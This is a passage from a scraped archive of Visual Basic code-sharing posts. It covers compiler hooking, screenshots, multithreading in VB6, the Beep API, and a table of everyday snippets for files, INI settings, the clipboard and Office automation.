technique.\n</blockquote>\nBasic Info On The Visual Basic Compiler and How To Harness It\nVB's compiler consists of two programs: C2.exe and Link.exe.┬á\nLink.exe does just that: it links your object code with intermediate library\ncode and writes the executable.┬á C2 is an older version of Microsoft's\nsecond-pass C compiler; Microsoft modified it specifically for use with VB, and\nit is called once for every file in your project.\nC2 and Link are activated with the kernel function CreateProcess.┬á\nThis is where the magic starts.┬á By hooking the CreateProcess API call, you\nare able to intercept and modify commands sent to C2 and Link.┬á You're\nprobably thinking \"How in the heck do you hook an API call in a VB\nprogram?\"┬á Indeed, this process is complex to say the least, but if\nNuMega can do it with SoftIce, you can do it with Visual Basic.\nFinal Notes Before Downloading the Code\nI strongly recommend reading the original article by John\nChamberlain (which is included in the ZIP), following it step-by-step, and reading\nit very carefully until you really understand what's going on. Once you understand how the controller works, you will find it easy to\nuse; if you skip ahead, you may experience frustration. It goes without saying that this is a sophisticated tool that is appropriate only for advanced programmers. When you use it, you leave the world of the help file behind and enter into uncharted territory. The challenges and risks of forging into this wilderness are substantial, but the potential reward is well worth it: nearly total control over your VB executable.\nMicrosoft includes an assembler called ML.EXE in its Win98 DDK,\nwhich is available for download at <a href=\"http://www.microsoft.com/ddk/ddk98.htm\">http://www.microsoft.com/ddk/ddk98.htm</a>. Theoretically, you can buy MASM from Microsoft, but I could not find out how to buy it. You might have to have wax one of Bill's cars or something before they sell it to you. Microsoft seems to be adopting the same position toward assembly that the government has towards uranium.\nYou won't get far with the Compile Controller unless you have a working knowledge of assemblers and assembly language. If the last program you assembled was on punched cards, now wouldn't be a\nbad time to brush up on your skills. I found the printed (yes, printed!) MASM 6.1 manuals invaluable for this purpose. You will also absolutely need a programmer's reference manual on the x86 instruction set. To get this, call (800) 548-4725 (the Intel literature distribution center). The best book on x86 assembly in print that is easily available is Master Class Assembly Language, but this book is in no way a substitute for the MASM manuals. Check out the assembly language newsgroups and their FAQs for more information. Also, note that the Microsoft knowledge base has a number of useful articles on mixed language development that are relevant.\nNow go forth and kick tail, programmer!"},{"WorldId":1,"id":24617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24632,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24634,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24640,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24649,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24651,"LineNumber":1,"line":"Option Explicit \n \nPrivate Declare Sub keybd_event Lib \"user32\" (ByVal bVk As Byte, ByVal bScan As\nByte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) \nPrivate Declare Function MapVirtualKey Lib \"user32\" Alias\n\"MapVirtualKeyA\" (ByVal wCode As Long, ByVal wMapType As Long) As Long \nPrivate Declare Function GetVersionEx& Lib \"kernel32\" Alias\n\"GetVersionExA\" (lpVersionInformation As OSVERSIONINFO) \n \nPrivate Const VK_MENU = &H12 \nPrivate Const VK_SNAPSHOT = &H2C \nPrivate Const KEYEVENTF_KEYUP = &H2 \n \n' used for dwPlatformId \nPrivate Const VER_PLATFORM_WIN32s = 0 \nPrivate Const VER_PLATFORM_WIN32_WINDOWS = 1 \nPrivate Const VER_PLATFORM_WIN32_NT = 2 \n \nPrivate Type OSVERSIONINFO ' 148 Bytes \ndwOSVersionInfoSize As Long \ndwMajorVersion As Long \ndwMinorVersion As Long \ndwBuildNumber As Long \ndwPlatformId As Long \nszCSDVersion As String * 128 \nEnd Type \n \n \nPublic Function SaveScreenToFile(ByVal strFile As String, Optional EntireScreen As Boolean\n= True) As Boolean\n \nDim altscan% \nDim snapparam% \nDim ret&, IsWin95 As Boolean \nDim verInfo As OSVERSIONINFO\n<blockquote>\n \n On Error GoTo errHand \n \n 'Check if the File Exist \n If Dir(strFile) <> \"\" Then \n Kill strFile \n 'Exit Function \n End If \n \n altscan% = MapVirtualKey(VK_MENU, 0) \n If EntireScreen = False Then \n keybd_event VK_MENU, altscan, 0, 0 \n ' It seems necessary to let this key get processed before \n ' taking the snapshot. \n End If \n \n verInfo.dwOSVersionInfoSize = 148 \n ret = GetVersionEx(verInfo) \n If verInfo.dwPlatformId = VER_PLATFORM_WIN32_WINDOWS Then \n IsWin95 = True \n Else \n IsWin95 = False \n End If \n \n If EntireScreen = True And IsWin95 Then snapparam = 1 \n \n DoEvents ' These seem necessary to make it reliable \n \n ' Take the snapshot \n keybd_event VK_SNAPSHOT, snapparam, 0, 0 \n \n DoEvents \n \n If EntireScreen = False Then keybd_event VK_MENU, altscan, KEYEVENTF_KEYUP, 0 \n \n SavePicture Clipboard.GetData(vbCFBitmap), strFile \n \n SaveScreenToFile = True \n \n Exit Function \n \n errHand: \n \n 'Error handling \n SaveScreenToFile = False\n</blockquote>\n \nEnd Function \n \n"},{"WorldId":1,"id":24654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24657,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24658,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24662,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24664,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24672,"LineNumber":1,"line":"<html>\n<head>\n<title>Multithreading</title>\n</head>\n<body>\nMultithreading - Understanding the pros and cons \n One of the greatest problems of the earlier Win16 environment was that an application could do only one thing at one time (that is \"single thread\"). However with the advent of Windows NT 3.5x, this changed. In 1995, with the release of Windows 95 this ultra powerful technique came to be used in the common PC. \n So what is the use of Multithreading ? - Consider Microsoft Word 97 or higher. It checks spelling while you type ! It does it by multithreading - i.e running two \"threads\" (in layman's language a \"thread\" is nothing but a piece of code, a sub or function running simultaneously with the main program). In VB 5, a new function AddressOf was introduced that enabled VB programmers to get the address of any public function in a standard module. This enabled developers to use the CreateThread API to create raw Win32 threads. Though this was effective in VB 5.0, with VB 6.0 it crashes miserably ! \nEven at planet-source-code.com, I came across a multithreading demo using the CreateThread API. Though THE PROGRAM works with VB 6, it is VERY unstable. Also For ... Next loops, Msgbox..., Open .. etc statements do NOT work in the multithreaded procedures! \n\n\nDoes this mean we cannot multithread safely !? Does it mean that we have to worry about\n\"exception errors\" and GPF's popping up any time ?\n\n\nThe Answer is a BIG NO ! \nMultithreading is VERY easy once you master the concepts... So just have a look at the sample code.. You will understand just how easy it is to perform true and safe multithreading in VB ! \nIf you gained any information, or if this article is useful to you, a vote of yours will be appreciated. If you found it useless.... just DELETE it ! \n\nMultithreading In VB 6 - The Safe Way \n\n\nThe trick to effective and safe multithreading in VB is to use the ActiveX EXE project type (set to standalone EXE). The trick here is to create a new object on a new thread by callin the CreateObject() function and to create the Form that you want to be multithreaded from within this object. As a reult the form is created on a new thread, both of them can run almost independently of the other ! The only problem is managing the code re-enterancy - VB calls the Sub main() procedure every time a new object is created - we must find whether the main window is shown or not - if not we must initialize it. This method is actually very easy ! Just check out the sample code and I am sure that you will be Multithreading right\naway \n\nWhat's more - this code now even demonstrates how to communicate between\nthreads !\n\n And if you found this code useful - be sure to vote for me ! After all, coding is a tough job, and so is writing a tutorial\n! \n\nIMPORTANT: You can now download a new generic multithreader component at\nthe following link <a href=\"http://planet-source-code.com/vb/default.asp?lngCId=26900&lngWId=1\">http://planet-source-code.com/vb/default.asp?lngCId=26900&lngWId=1</a>┬á\n. This component allows you to multithread any sub or function in a standard\nEXE. No ActiveX EXEs needed (PS:Thanks for all your votes And I am happy to know\nthat my articles are of some use to you !) \n \n\n</body>\n</html>\n"},{"WorldId":1,"id":24673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24674,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24675,"LineNumber":1,"line":"Option Explicit\n' An example of the Beep API call, which IMHO is possibly the most useless to most.\n' Nonetheless, I wanted this functionality for a client who needed audible feedback\n' on some very old equipment (no sound cards). After searching MSDN, I found\n' no extended information on the parameters, dwFreq and dwDuration. What value\n' range produces audible sounds? Although I still don't have that answer, I've found\n' you can pretty much hear everything in the dwFreq range from 50 to 6000, 6000\n'being the higher frequency. Setting dwDuration from 10 to 100 seems to give the\n' length of a short 'beep' that isn't too annoying.\n'\n' Feel free to use, modify, or trash this code as you see fit.\nPrivate rc as Long\nPrivate PauseReq As Boolean\nPrivate mvarFreq As Long\nPrivate mvarDur As Long\nPrivate cFreq As Long\nPrivate Declare Function Beep Lib \"kernel32\" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long\nPrivate Sub cmdPlay_Click()\n cmdPlay.Caption = IIf(cmdPlay.Caption = \"Play\", \"Stop\", \"Play\")\n If cmdPlay.Caption = \"Play\" Then\n PauseReq = True\n Timer1.Enabled = False\n Else\n PauseReq = False\n Timer1.Enabled = True\n End If\nEnd Sub\nPrivate Sub cmdExit_Click()\n PauseReq = True\n Unload Me\nEnd Sub\nPrivate Sub cmdCycle_Click()\n cmdCycle.Caption = IIf(cmdCycle.Caption = \"Cycle\", \"Stop\", \"Cycle\")\n If cmdCycle.Caption = \"Stop\" Then\n Timer1.Enabled = False\n cFreq = 50\n Else\n Timer1.Enabled = True\n End If\n Timer2.Enabled = Not Timer1.Enabled\nEnd Sub\nPrivate Sub Form_Load()\n PauseReq = False\n Timer1.Enabled = True\n Timer1.Interval = 1000\n Me.Move (Screen.Width - Me.Width) * 0.75, (Screen.Height - Me.Height) * 0.8\nEnd Sub\nPrivate Sub txtFreq_Change()\n If IsNumeric(txtFreq.Text) Then mvarFreq = CLng(txtFreq.Text)\nEnd Sub\nPrivate Sub txtDur_Change()\n If IsNumeric(txtDur.Text) Then mvarDur = CLng(txtDur.Text)\nEnd Sub\nPrivate Sub txtInterval_Change()\n If IsNumeric(txtInterval.Text) Then Timer1.Interval = (CLng(txtInterval.Text) * 1000)\nEnd Sub\nPrivate Sub Timer1_Timer()\n If PauseReq Then Exit Sub\n rc = Beep(mvarFreq, mvarDur)\nEnd Sub\nPrivate Sub Timer2_Timer()\n If Check1.Value = 0 Then\n txtFreq.Text = cFreq\n txtDur.Text = Timer2.Interval + 10\n rc = Beep(cFreq, Timer2.Interval + 10)\n cFreq = cFreq + 25\n If cFreq > 6000 Then cFreq = 50\n Else\n cFreq = Int(Rnd * 6000)\n txtFreq.Text = cFreq\n rc = Beep(cFreq, Timer2.Interval + 10)\n End If\nEnd Sub\n"},{"WorldId":1,"id":24679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24680,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24688,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24689,"LineNumber":1,"line":"<table border=2>\n<tr>\n<td><center>Functionality</center></td>\n<td><center>Relative Code</center></td>\n<td><center>Related Links</center></td>\n</tr>\n<tr>\n<td>Writing/Appending text to a text file</td>\n<td><pre>\nOpen \"C:\\MyTextFile.txt\" For Output As #1 Open \"C:\\MyTextFile.txt\" For Append As #1\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.22246/lngWId.1/qx/vb/scripts/ShowCode.htm\">Input/Output Text file</a></td>\n</tr>\n<tr>\n<td>Reading text from a text file</td>\n<td><pre>\nOpen \"C:\\MyTextFile.txt\" For Input As #1\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.22246/lngWId.1/qx/vb/scripts/ShowCode.htm\">Input/Output Text file</a></td>\n</tr>\n<tr>\n<td>Setting a string to the application directory</td>\n<td><pre>\nstrFileName = App.Path & (Trim(Chr(32 - (60 * (Asc(Right(App.Path, 1)) <> 92)))))\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/Discussion/AskAProShowPost.asp?lngTopicId=10826&Forum=Visualbasic&TopicCategory=programming&Flag=2&lngWId=1\">Relative paths</a></td>\n</tr>\n<tr>\n<td>Reading data from an INI file</td>\n<td><pre>\nPrivate Declare Function GetPrivateProfileString Lib \"kernel32\"_ Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any,_ ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long,_ ByVal lpFileName As String) As Long\n \nPublic Function GetINIData(ByVal strParent As String, strKey As String) As String \n Dim strBuffer As String \n Dim strFilename As String \n strBuffer = Space(145) \n strFileName = App.Path & (Trim(Chr(32 - (60 * (Asc(Right(App.Path, 1)) <> 92))))) & \"MyINI.INI\" \n GetPrivateProfileString strParent, strKey, \"\", strBuffer, Len(strBuffer) - 1, strFilename \n GetINIData = Left(strBuffer, InStr(strBuffer, Chr(0)) - 1) \nEnd Function \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.23487/lngWId.1/qx/vb/scripts/ShowCode.htm\">INI file template routines</a></td>\n</tr>\n<tr>\n<td>Writing data to an INI file</td>\n<td><pre>\nPrivate Declare Function WritePrivateProfileString Lib \"kernel32\"_ \nAlias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String,_ \nByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\n \nPublic Sub WriteINIData(ByVal strParent As String, strKey As String, strValue As String) \n Dim strFilename As String \n strFileName = App.Path & (Trim(Chr(32 - (60 * (Asc(Right(App.Path, 1)) <> 92))))) & \"MyINI.INI\" \n WritePrivateProfileString strParent, strKey, strValue, strFilename \nEnd Sub \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.23487/lngWId.1/qx/vb/scripts/ShowCode.htm\">INI file template routines</a></td>\n</tr>\n<tr>\n<td>Dynamically adding controls</td>\n<td><pre>\nRem This code is for Visual Basic 6 only but the second link shows how to do it with VB4/5 \nPrivate Sub Form_Load() \nForm1.Controls.Add \"VB.CommandButton\", \"cmdMyButton\" \nWith Form1!cmdMyButton \n.Visible = True \n.Width = 2000 \n.Caption = \"Dynamic Button\" \nEnd With \nEnd Sub \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=programming&lngTopicId=4870&Forum=Visualbasic\">Dynamically create a control(VB6)</a> \n<a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=programming&lngTopicId=5147&Forum=Visualbasic\">Creating controls dynamically (VB6,5 and 4)</a></td>\n</tr>\n<tr>\n<td>Adding items to a combo/list box and setting it to the first items if an item exist</td>\n<td><pre>\ncmbMyComboBox.AddItem \"Item1\" \ncmbMyComboBox.ListIndex = (cmbMyComboBox.ListCount=0)\n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Having problems with the license of your Winsock control?</td>\n<td><pre>\nJust go to the link\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.4860/lngWId.1/qx/vb/scripts/ShowCode.htm\">Register/License Winsock Control</td>\n</tr>\n<tr>\n<td>Allows only numeric characters in a textbox</td>\n<td><pre>\nPrivate Sub txtNumbersOnly_KeyPress(KeyAscii As Integer) \n KeyAscii = KeyAscii * Abs(((KeyAscii > 47 And KeyAscii < 58) Or KeyAscii = vbKeyBack)) \nEnd Sub \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/xq/ASP/txtCodeId.11545/lngWId.1/qx/vb/scripts/ShowCode.htm\">Masking Control</td>\n</tr>\n\n<tr>\n<td>Prints a picture control contents to the printer</td>\n<td><pre>\nPrinter.PaintPicture picMyPictureControl.Picture, 1, 1\n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=standards&lngTopicId=10496&Forum=Visualbasic\">Printing picture control contents</td>\n</tr>\n<tr>\n<td>Copy picture/text to the Clipboard</td>\n<td><pre>\nClipboard.Clear\nClipboard.SetData picMyPictureControl.Picture 'Used for pictures \nClipboard.SetText txtMyTextBox.Text 'Used for text \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=standards&lngTopicId=9503&Forum=Visualbasic\">Copying contents to the Clipboard</td>\n</tr>\n<tr>\n<td>Paste picture/text from the Clipboard</td>\n<td><pre>\npicMyPictureControl.Picture = Clipboard.GetData 'Used for pictures \ntxtMyTextBox.Text = Clipboard.GetText 'Used for text \n</pre>\n</td>\n<td><a href=\"http://www.planet-source-code.com/vb/discussion/AskAProShowPost.asp?lngWId=1&Flag=2&TopicCategory=standards&lngTopicId=9503&Forum=Visualbasic\">Pasting contents from the Clipboard</td>\n</tr>\n\n<tr>\n<td>Evaluate resposes from MsgBox</td>\n<td><pre>\nRem Use this to check before you save; used with yes/no or ok/cancel options \nIf MsgBox(\"Are you sure you want to save thses changes?\", vbQuestion + vbYesNo, \"Save?\") = vbNo Then Exit Sub \n \n \nRem You can use this to check before you exit; used with yes/no/cancel or abort/retry/ignore \nSelect Case MsgBox(\"Would you like to save before you exit?\", vbQuestion + vbYesNoCancel, \"Exiting\") \nCase vbYes \nRem Save it then quit \nCase vbNo \nRem Quit \nCase vbCancel \nExit Sub \nEnd Select \n</pre>\n</td>\n<td>None</td>\n</tr>\n\n<tr>\n<td>Read data from an Excel spreadsheet</td>\n<td><pre>\nDim xlsApplication As Object \nDim lngRowCount As Long \nDim intColCount As Integer \nDim blnBlankRow As Boolean \nDim strValue As String \n \nSet xlsApplication = CreateObject(\"Excel.Application\") \n \nxlsApplication.Workbooks.Open \"C:\\Test.XLS\" \n \nFor lngRowCount = 1 To 65536 \n\tblnBlankRow = True \n\tFor intColCount = 1 To 255 \n\t\tstrValue = xlsApplication.Cells(lngRowCount, intColCount).Value \n\t\tRem Set this value into your table/field \n\t\tIf Len(strValue) > 0 Then blnBlankRow = False \n\tNext intColCount \n\tIf blnBlankRow Then Exit For \nNext lngRowCount \n \nxlsApplication.Workbooks(1).Close savechanges:=False \nxlsApplication.Quit \n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Read data from Outlook Inbox/SentMail folders</td>\n<td><pre>\nDim outApplication As Object \nDim outInBox As Object \nDim outOutBox As Object \n \nSet outApplication = CreateObject(\"Outlook.Application\") \n \nSet outInBox = outApplication.GetNamespace(\"MAPI\").GetDefaultFolder(6) \nSet outOutBox = outApplication.GetNamespace(\"MAPI\").GetDefaultFolder(5) \n \nRem First InBox email \nMsgBox outInBox.Items.Item(1).Recipients(1).Name, vbOKOnly, \"Inbox Recipient\" \nMsgBox outInBox.Items.Item(1).Subject, vbOKOnly, \"Inbox Subject\" \nMsgBox outInBox.Items.Item(1).Body, vbOKOnly, \"Inbox Body\" \n \nRem First SentMail email \nMsgBox outOutBox.Items.Item(1).Recipients(1).Name, vbOKOnly, \"SentMail Recipient\" \nMsgBox outOutBox.Items.Item(1).Subject, vbOKOnly, \"SentMail Subject\" \nMsgBox outOutBox.Items.Item(1).Body, vbOKOnly, \"SentMail Body\" \n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Sending email using the MS Outlook object</td>\n<td><pre>\nPrivate Sub MrPostman(strSendTo As String, strSubject As String, strMessage As String) \n Dim outEmail As Outlook.Application \n Dim outNewMail As Outlook.MailItem \n Dim strTemp() As String \n \n Set outEmail = New Outlook.Application \n Set outNewMail = outEmail.CreateItem(olMailItem) \n \n With outNewMail \n \n strTemp = Split(strSendTo, \";\") \n \n For intCounter = 0 To UBound(strTemp) \n .Recipients.Add Trim(strTemp(intCounter)) \n Next intCounter \n \n .Subject = strSubject \n .Body = strMessage \n .Send \n End With \n \n Set outEmail = Nothing \n Set outNewMail = Nothing \n \nEnd Sub \n</pre>\n</td>\n<td>None</td>\n</tr>\n\n<tr>\n<td>Calling procedures dynamically</td>\n<td><pre>\nRem Use this code when you don't know the name of the procedure or when you want the user to select the procedure to execute \nPrivate Sub Form_Load() \nCallByName Form1, \"Test\", VbMethod \nEnd Sub \nPublic Function Test() \n MsgBox \"It Works\" \nEnd Function \n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Copy/Move files from one location to another</td>\n<td><pre>\nFileCopy \"C:\\SourceFile.txt\", \"C:\\DestinationFile.txt\" \nRem To move the file (delete the original) \nKill \"C:\\SourceFile.txt\" \n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>Retained is an invalid key error</td>\n<td><pre>\nYou will get this error when you attempt to open a project designed in VB6+ with VB5-.\nThe solution is to open the project file (*.vbp) with a text editor like notepad\nand delete the line that begins with RETAINED=. This will solve the error.\n</pre>\n</td>\n<td>None</td>\n</tr>\n<tr>\n<td>What does referencing a control mean? What is the difference between early and late binding?</td>\n<td><pre>\nWhen you create a reference to a control, you are indicating that there is a file that exists\nthat you would like to use. Early-binding indicates this reference at design-time of the application\nrather than an runtime (late binding). Early binding is much faster than late binding. Late binding\nis used when an application must determine at runtime. Although this process is slower than\nlate binding, it may be faster after consideration. For example, let's say that you are importing\ndata from one source to another. You are uncertain at design time wheter the user will want to\nimport from Excel to Access, Outlook to Excel, Outlook to Access, Excel to Outlook, Access to Outlook,\nor Access to Excel. Instead of referencing all three objects at design time(early binding),it may\nbe more practical to refernce them once the user has mad a decision (late binding).\n</pre>\n</td>\n<td>None</td>\n</tr>\n</table>\n"},{"WorldId":1,"id":24694,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24695,"LineNumber":1,"line":"Easy multithreading with low overhead - Part 1\nSrideep Prasad posted an article on how to do safe multithreading in vb6 with\nmulti instancing. His \"solution\" required making an activex exe and\nmaking new instances of it for each thread which obviously is very processor\nconsuming and defeats the very purpose of multithreading. His reason for this\n\"solution\" was \"hey, at least theres no more doevents.\" Give\nme a break. I'm dont understand how he code made it to code of the month list.\nMy solution is simple and has low overhead.\n1. Create an api dll using visual c++. If you dont know how to program c++,\nthats no problem. You can use my template. \n2. Make a function that gets the address of the function you want to run in a\nseperate thread. \n3. From here you can either use the dll as code running in the background to\nserve as a \"airbag\" so you can call CreateThread safely from in the\ndll, or you can call the function by yourself in the dll by address. (This is\ncalled a callback routine. Many enumerated functions in the windows api do\nthis.) \n \nPart 1 of this tutorial will cover how to make a callback routine for your\nmultithreading.\nThe first step is to make a new Win32 Dynamic-Link Library workspace. Here is\nmy code template for an api dll.\n<pre>\n#include <windows.h>\n// This may be a little confusing to some people.\n// All this next line does is specify a vb-safe calling convention\n// CALLBACK* says that the variable type is actually a function, in this case a vb function\n// THREADED_FUNC is the variable type that the function will be called in the dll. I could have put anything else in here\n// typedef BOOL means that the function has a return value of boolean\n// (int) means that the function has one paramater and its an integer. You could put as many of these as you need, depending\n// \ton the number of parameters your function takes. ie your function takes an integer and two strings. You would put\n//\t(int, LPCSTR, LPCSTR)\ntypedef BOOL (CALLBACK* THREADED_FUNC) (int);\n// Function prototypes\nvoid FreeProcessor(void);\nLONG __declspec(dllexport) WINAPI MakeThread(THREADED_FUNC &pTFunc, int nPassedValue);\n// Starting and ending point of the dll, required for every api dll\nextern "C" int APIENTRY DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)\n{\n\tif (dwReason == DLL_PROCESS_ATTACH)\n\t{\n\t\t// dll starts processing here\n\t\t// inital values and processing should go here\n\t\t\n\t}\n\telse if (dwReason == DLL_PROCESS_DETACH)\n\t{\n\t\t// dll stops processing here\n\t\t// all clean up code should go here\n\t\t\n\t}\n\treturn 1;\n}\n// MakeThread - Function that calls function by address (This is the callback routine)\n// This function accepts a THREADED_FUNC which is actually the address of the threaded function\n// It also accepts the parameters your function takes which is an integer for this example. You will need to set the\n//\tnumber of parameters to match the function you wrote\nLONG __declspec(dllexport) WINAPI MakeThread(int nPassedValue, THREADED_FUNC &pTFunc)\n{\n\t// try-catch block for error handling\n\ttry\n\t{\n\t\tdo\n\t\t{\n\t\t\t// call the function by address and examin return value\n\t\t\tif (pTFunc(nPassedValue) == FALSE)\n\t\t\t\treturn 1;\n\t\t\tFreeProcessor();\n\t\t} while (true);\n\t}\n\tcatch (int) { return 0; }\n}\n// FreeProcessor function written by Jared Bruni\nvoid FreeProcessor(void) \n{ \n\tMSG Msg; \n\twhile(PeekMessage(&Msg,NULL,0,0,PM_REMOVE))\n\t{\n\t\tif (Msg.message == WM_QUIT)break;\n\t\tTranslateMessage(&Msg); \n\t\tDispatchMessage(&Msg);\n\t} \n}\n</pre>\n \nThe next step is to create a export definitions file for MakeThread. This\nis very simple.\nLIBRARY MyFile \nDESCRIPTION 'Callback multithreading dll for MyProgram' \nCODE PRELOAD MOVEABLE DISCARDABLE \nDATA PRELOAD MOVEABLE SINGLE \n \nHEAPSIZE 4096 \nEXPORTS \n┬á┬á┬á MakeThread @1 \n\nI highlighted the LIBRARY line for a good reason. Make sure whatever you type\nafter LIBRARY is the name of the cpp file that your DllMain is in. For example\nif your DllMain is in a file called \"BigLousyDll.cpp\", then you would\ntype LIBRARY BigLousyDll \n \nAlso make sure that the export definitions file is the same name as the cpp file\nyour DllMain is in. Like I said, if your DllMain is in a file called \"BigLousyDll.cpp\",\nyou would name your export definitions file BigLousyDll.def \n \nOnce you compile your dll, it should automatically be registered. I would put it\nin your system or system32 folder so you don't have to type a explicit path to\nit in your vb file.\nPublic Declare Function\nMakeThread Lib \"MyFile.dll\" (lpCallback As\nAny, ByVal nInt As\nInteger) As Long \nPublic i As Integer \nPublic nTimes As Integer \n \nPublic Function MyFunction(ByVal nValue As Integer) As Boolean \n┬á┬á┬á nTimes = nTimes + 1 \n┬á┬á If\nnTimes > 0 Then \n┬á┬á┬á┬á┬á┬á┬á If i\n< 20 Then \n┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á i = i + 1 \n┬á┬á┬á┬á┬á┬á┬á End If \n┬á┬á┬á┬á┬á┬á┬á MyFunction = True┬á┬á┬á\n'Tells dll to keep running through function \n┬á┬á┬á┬á┬á┬á┬á Exit Function \n┬á┬á┬á Else \n┬á┬á ┬á┬á┬á┬á i = nValue \n┬á┬á┬á┬á┬á┬á┬á MyFunction = True┬á┬á┬á\n'Tells dll to keep running through function \n┬á┬á┬á┬á┬á┬á┬á Exit Function \n┬á┬á End If \n┬á┬á┬á MyFunction =\nFalse┬á┬á┬á 'Tells dll to stop \nEnd Function \n \nSub Main() \n┬á┬á┬á If Not MakeThread(AddressOf\nMyFunction, 3) Then \n┬á┬á┬á┬á┬á┬á┬á MsgBox \"Multithreading\nerror\" \n┬á┬á┬á Else \n┬á┬á┬á┬á┬á┬á┬á MsgBox \"Success\" \n┬á┬á┬á End If \nEnd Sub\n \nIf you find this code helpful, vote only if you want to. I dont care if I win\ncoding contest. I just thought this solution is excellent compared to what\nSrideep Prasad posted.\n"},{"WorldId":1,"id":24697,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24698,"LineNumber":1,"line":"Function ReturnReadableChrsOnly(sString As String) As String\n Dim lCount As Long\n Dim lPoint As Long\n Dim sTmp As String\n Dim sChr As String\n lCount = Len(sString) ' Get a count of chars\n For lPoint = 1 To lCount ' Loop through that count\n sChr = Mid(sString, lPoint, 1) ' Get one chr\n Select Case Asc(sChr) ' Set a case for the ASCII value of char\n Case 32 To 126 ' Is this an Readable Char?\n sTmp = sTmp & sChr ' If yes then append to list\n End Select '┬╗Select Case Asc(sChr)\n Next '┬╗For lPoint = 1 To lCount\n ReturnReadableChrsOnly = sTmp\nEnd Function\n"},{"WorldId":1,"id":24701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24707,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24713,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24719,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24726,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24731,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24734,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24736,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24737,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24741,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24747,"LineNumber":1,"line":"Easy, Stable VB6 Multithreading with Low Overhead - Part 2 \nCalling CreateThread Safely Within a DLL\nI found some better, straight vb code for the tutorial I was going to do for\nthis part so I thought it would be better than using c++. The code does the same\nthing.\nPart 2 of thesse tutorials is based off Matthew Curland's "Apartment\nThreading in VB6, Safely and Externally". This uses a precompiled type\nlibrary to easily call CreateThread from a global name space (no declaration\nrequired). While this might be use activex, it still isn't using nearly as\nmany system resources as Srideep's solution.\nIn addition to safely calling CreateThread from vb there are some thread\nclasses that are used for doing the work with class ids rather than function\naddresses. (Launch, Worker, ThreadControl, ThreadData,\nand ThreadLaunch)\nI will list all the classes below. I also decide4d not to add syntax\nhighlighting because that took too long. Also please realize that I did not\nwrite these. Matthew Curland did. So vote for him, not me.\n<table border=\"0\" bgcolor=\"#C0C0C0\">\n <tr>\n <td bgcolor=\"#FFFF00\">ThreadControl.cls</td>\n </tr>\n <tr>\n <td><pre>Option Explicit\nPrivate m_RunningThreads As Collection 'Collection to hold ThreadData objects for each thread\nPrivate m_fStoppingWorkers As Boolean 'Currently tearing down, so don't start anything new\nPrivate m_EventHandle As Long 'Synchronization handle\nPrivate m_CS As CRITICAL_SECTION 'Critical section to avoid conflicts when signalling threads\nPrivate m_pCS As Long 'Pointer to m_CS structure\n'Called to create a new thread worker thread.\n'CLSID can be 